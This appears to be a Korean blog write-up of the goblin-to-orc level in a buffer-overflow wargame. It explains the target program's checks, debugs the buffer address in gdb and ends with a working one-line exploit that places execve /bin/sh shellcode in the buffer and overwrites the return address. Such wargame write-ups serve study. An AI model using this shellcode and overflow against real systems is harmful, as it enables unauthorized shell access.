BOF redhat 원정대 goblin -> orc

BOF redhat 원정대 cobolt -> goblin

orc, orc.c


c 코드를 보면 버퍼크기 40 잡아주고 아귀먼트가 1개 이상이 아니면 에러출력을 하고 에그쉘이 잡혀있다면 에그쉘메모리를 초기화하고 RET에 들어있는 값이 \xbf로 시작하는 주소가아니면 프로그램이 종료된다.
위의 조건을 모두 만족했다면 strcpy함수로 아귀먼트를 버퍼에 복사한다. 전 문제와 같다.

orc 디스어셈

위의 조건에 맞게 입력값을 넣어서 버퍼의 주소를 확인해보자.



python -c 'print "A"*48 + "\xbf"*4'를 입력값으로 넣고 main+197에 브레이크 포인트를 잡고 메모리를 확인 해 보았다. 
A가 들어있는곳에 쉘코드를 위치시키고 bfbfbfbf에 쉘코드에 시작주소를 넣어주면 쉘을 얻을수 있다.
쉘코드구성은
[ 버퍼 ][SFP][RET]
[   쉘코드  ][RET]
이다.

쉘코드를 작성해서 공격을 해보았는데 쉘코드가 정상적으로 실행되지 않아서 버퍼의 주소가 잘못됬다고 생각하고 버퍼크기를 출력하는 코드를 추가하고 같은 공격을 실행해 보았다.



gdb에서 확인해본 버퍼의 메모리 주소와 다르다. 왜이럼.

주소를 0xbffffae0로 바꾸어서 공격을 다시 해보았다.


쉘을 얻을 수 있었다.

쉘코드 : 
./orc `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*20 + "\xe0\xfa\xff\xbf"'`

0 개의 댓글:

댓글 쓰기